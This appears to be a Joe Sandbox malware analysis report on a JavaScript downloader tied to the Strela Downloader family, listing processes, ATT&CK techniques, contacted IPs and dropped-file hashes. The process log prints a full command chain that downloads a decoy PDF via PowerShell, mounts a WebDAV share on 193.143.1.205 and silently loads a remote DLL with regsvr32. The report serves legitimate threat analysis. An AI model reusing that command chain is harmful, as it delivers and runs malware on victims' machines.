Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2305511452193571644.js	3%	Virustotal		Browse
2305511452193571644.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace%	0%	Avira URL Cloud	safe
http://193.143.1.205:8888//	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.39	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000007.00000002.1484460328.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1483346465.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2703124338.0000026CEF000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1482317580.0000026CEEE20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace%	net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1484460328.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1481829925.0000029DAE6FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484460328.0000029DAE6FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1483346465.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.1484460328.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1483346465.0000029DAE6DB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888//	net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588216
Start date and time:	2025-01-10 22:43:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2305511452193571644.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 162.159.61.3, 172.64.41.3, 184.28.90.27, 84.201.210.39, 23.209.209.135, 2.16.168.105, 2.16.168.107, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:43:58	API Interceptor	23x Sleep call for process: powershell.exe modified
16:44:02	API Interceptor	1x Sleep call for process: net.exe modified
16:44:02	API Interceptor	2x Sleep call for process: svchost.exe modified
16:44:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
bg.microsoft.map.fastly.net	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021793032008109
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAd:RJE+Lfki1GjHwU/+vVhWqpU
MD5:	66BC2A407A3C68CA41A2E36735051772
SHA1:	37867AE3D3AB4DEDCA8AEC42429898BB451447D7
SHA-256:	A0EA586338EFD93859B19B15A2196C20924C07B1889717AD974554EA06A7ADB7
SHA-512:	4C4FD681C99F679BE129DC70F7372899E6F9A85E0BBA0944E2061B14D8E7FD3CDB3004298DC73F26C6A892C6399780DA38F65DB2ED66ABF66A8469869FF66ED7
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9caba889, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433229297343275
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	105A9F5804CD2EC00292C448DF22E601
SHA1:	7C02D32951C96459D3D4EB2E38B5300B02A24439
SHA-256:	10381667182A9923EB33009D566164CF7E397236A054157B5CFB5AE9D8708C5D
SHA-512:	43FE0D4A1A024AF79D6521BD98AE8667F2CC8D6A2A4E8F4ED7AC53734A44417A3EDFD3F61A07F0196B803BB9F6A868F69758DCD5F82FEF7A0613868D5018F961
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s..,...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................q...,...}...................5...,...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0809674443088667
Encrypted:	false
SSDEEP:	3:Lo/lEYeRxY2nXqll/nqlFcl1ZUllllZ05pnXAllGBnX/l/Tj/k7/t:Lo6zRxDXqll/qlFclQ/lOJXA254
MD5:	47727FA1210EDCE67E4B0D54F3E05D05
SHA1:	0FB071698FB93F780D2320F0F16CB69A8379923B
SHA-256:	4CCD374B00F113D229CA078A507FCA72853BE4A4D483533B608D0FC975431BF2
SHA-512:	27EE0E5CD54F0B2B02C0051903EB003BAEFADB539F162296DD3499BA7E6102DB26F87AAF64D330720DCBC781AD9EC7E17E25612641253203154CDC3662992B42
Malicious:	false
Preview:	.fs\.....................................;...{...,...}... ...{s.......... ...{s.. ...{s.P.... ...{s..................5...,...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.185387964697463
Encrypted:	false
SSDEEP:	6:iO4z5ivOq2PCHhJ2nKuAl9OmbnIFUtSz58G0FZZmwsz58G0FzkwOCHhJ2nKuAl91:7tOvBHAahFUtk8Z/a8z56HAaSJ
MD5:	BEC5F6DB27303B8D97F896D51CDCDB93
SHA1:	830DDDE98C35C05B22D24F5759EAF34223707065
SHA-256:	7DD783599DA7969A99943C3251090D4E438823331F61C163420D4F64F1AEA85F
SHA-512:	16A96E901052FC161600E409AD9936C89FB8102ECC1F4EAF1C1D23EDDDAB4EF6919E2D2EC424761ECF97C90161C489DCE58CCD4518BC16BB358BDA7BF43A9025
Malicious:	false
Preview:	2025/01/10-16:44:02.698 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:44:02.700 1c24 Recovering log #3.2025/01/10-16:44:02.700 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.185387964697463
Encrypted:	false
SSDEEP:	6:iO4z5ivOq2PCHhJ2nKuAl9OmbnIFUtSz58G0FZZmwsz58G0FzkwOCHhJ2nKuAl91:7tOvBHAahFUtk8Z/a8z56HAaSJ
MD5:	BEC5F6DB27303B8D97F896D51CDCDB93
SHA1:	830DDDE98C35C05B22D24F5759EAF34223707065
SHA-256:	7DD783599DA7969A99943C3251090D4E438823331F61C163420D4F64F1AEA85F
SHA-512:	16A96E901052FC161600E409AD9936C89FB8102ECC1F4EAF1C1D23EDDDAB4EF6919E2D2EC424761ECF97C90161C489DCE58CCD4518BC16BB358BDA7BF43A9025
Malicious:	false
Preview:	2025/01/10-16:44:02.698 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:44:02.700 1c24 Recovering log #3.2025/01/10-16:44:02.700 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1710615840199745
Encrypted:	false
SSDEEP:	6:iO4z5iIq2PCHhJ2nKuAl9Ombzo2jMGIFUtSz5OeZmwsz5OSkwOCHhJ2nKuAl9OmT:7TIvBHAa8uFUtfe/RS56HAa8RJ
MD5:	DAE9B68D77A7E8E7F57D5D5EE6201FCF
SHA1:	E961C2A3F81B1A2779129DF7150E291D3AE442DC
SHA-256:	04F40F9B7E6B39B9429763A3DCB4A5A26D3738811A4E2B533EF6682D33C1B2A8
SHA-512:	A6B583F7607B9EF469F1D13AE30407E4F8D2453E9554351D7A508A5F0FFA123C1411BB2A9FA9AEE7627AAFC465AC4EC9BB6D9912FFC85A3C0AB7C48FA3C5AF6B
Malicious:	false
Preview:	2025/01/10-16:44:02.804 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:44:02.805 720 Recovering log #3.2025/01/10-16:44:02.805 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1710615840199745
Encrypted:	false
SSDEEP:	6:iO4z5iIq2PCHhJ2nKuAl9Ombzo2jMGIFUtSz5OeZmwsz5OSkwOCHhJ2nKuAl9OmT:7TIvBHAa8uFUtfe/RS56HAa8RJ
MD5:	DAE9B68D77A7E8E7F57D5D5EE6201FCF
SHA1:	E961C2A3F81B1A2779129DF7150E291D3AE442DC
SHA-256:	04F40F9B7E6B39B9429763A3DCB4A5A26D3738811A4E2B533EF6682D33C1B2A8
SHA-512:	A6B583F7607B9EF469F1D13AE30407E4F8D2453E9554351D7A508A5F0FFA123C1411BB2A9FA9AEE7627AAFC465AC4EC9BB6D9912FFC85A3C0AB7C48FA3C5AF6B
Malicious:	false
Preview:	2025/01/10-16:44:02.804 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:44:02.805 720 Recovering log #3.2025/01/10-16:44:02.805 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967574613836523
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkpEsBdOg2H88caq3QYiub6P7E4T3y:Y2sRdsjdMH8/3QYhbS7nby
MD5:	4A1FA595BF14B2FCCB61ED7140656A25
SHA1:	231C749FEE179AF2A52EF9CABF3E7F9C4B43BA1D
SHA-256:	30A321F3D211F65B10E5627481613DE431CF3CC548E4F7B0CA5BF48AB1DDC185
SHA-512:	BC6B57C0DCF453FCFBD004A17629C700F2B43C5B84E8BF07256D2745748AED7D851DBEC2D61B7A6B9BB65998ECF38C55D8F53E5D0AAD7D7A9D350C9BFB0D5FAB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105455330517","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135769},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e17953cf-3d76-474b-ae68-a43e0ae7db08.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967574613836523
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkpEsBdOg2H88caq3QYiub6P7E4T3y:Y2sRdsjdMH8/3QYhbS7nby
MD5:	4A1FA595BF14B2FCCB61ED7140656A25
SHA1:	231C749FEE179AF2A52EF9CABF3E7F9C4B43BA1D
SHA-256:	30A321F3D211F65B10E5627481613DE431CF3CC548E4F7B0CA5BF48AB1DDC185
SHA-512:	BC6B57C0DCF453FCFBD004A17629C700F2B43C5B84E8BF07256D2745748AED7D851DBEC2D61B7A6B9BB65998ECF38C55D8F53E5D0AAD7D7A9D350C9BFB0D5FAB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105455330517","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135769},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.230487283083429
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bTni3A2:S43C4mS7fFi0KFYDjr3LWO3V3aw+bTiz
MD5:	262449F3C4567B54F6BFDB1826688184
SHA1:	528E1A206399A6BC98A7A315CBBEBBF8E3337012
SHA-256:	2857123ADD8EC3B1F6C3AFD4CDDA0540E8B9B4BB600CE40B3EDE69D1550B927B
SHA-512:	16665D91D1294D5756D4A1934BF1D954F3686CFA48DD56B53AA0750E9B90A5B12215CBE03243DE5B4A5398F1CF95598DB0D2CEF1FDB87D7B1B1D2F278A9A4F59
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.203855561396971
Encrypted:	false
SSDEEP:	6:iO4z58LlAq2PCHhJ2nKuAl9OmbzNMxIFUtSz58LKZmwsz58LSkwOCHhJ2nKuAl9c:7FAvBHAa8jFUtg/G56HAa84J
MD5:	38F56ACF872AC6DC814141CB344F8836
SHA1:	3D52E81E1B1E897D2813E99B08EEFDECBB20EBFC
SHA-256:	B8BBCC2877ECE91DA0363C41162F6F5FC1941AE0EA0677DF80B6CC48F1651C08
SHA-512:	2F1C67300F492B1C978EB473854E57052126FEBB002317722A92A0E9B2294E4BA9CC6C2CE38B6D028D7DF68454360CA84152976186672A9BE49B9C61B6C91003
Malicious:	false
Preview:	2025/01/10-16:44:03.195 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:44:03.239 720 Recovering log #3.2025/01/10-16:44:03.244 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.203855561396971
Encrypted:	false
SSDEEP:	6:iO4z58LlAq2PCHhJ2nKuAl9OmbzNMxIFUtSz58LKZmwsz58LSkwOCHhJ2nKuAl9c:7FAvBHAa8jFUtg/G56HAa84J
MD5:	38F56ACF872AC6DC814141CB344F8836
SHA1:	3D52E81E1B1E897D2813E99B08EEFDECBB20EBFC
SHA-256:	B8BBCC2877ECE91DA0363C41162F6F5FC1941AE0EA0677DF80B6CC48F1651C08
SHA-512:	2F1C67300F492B1C978EB473854E57052126FEBB002317722A92A0E9B2294E4BA9CC6C2CE38B6D028D7DF68454360CA84152976186672A9BE49B9C61B6C91003
Malicious:	false
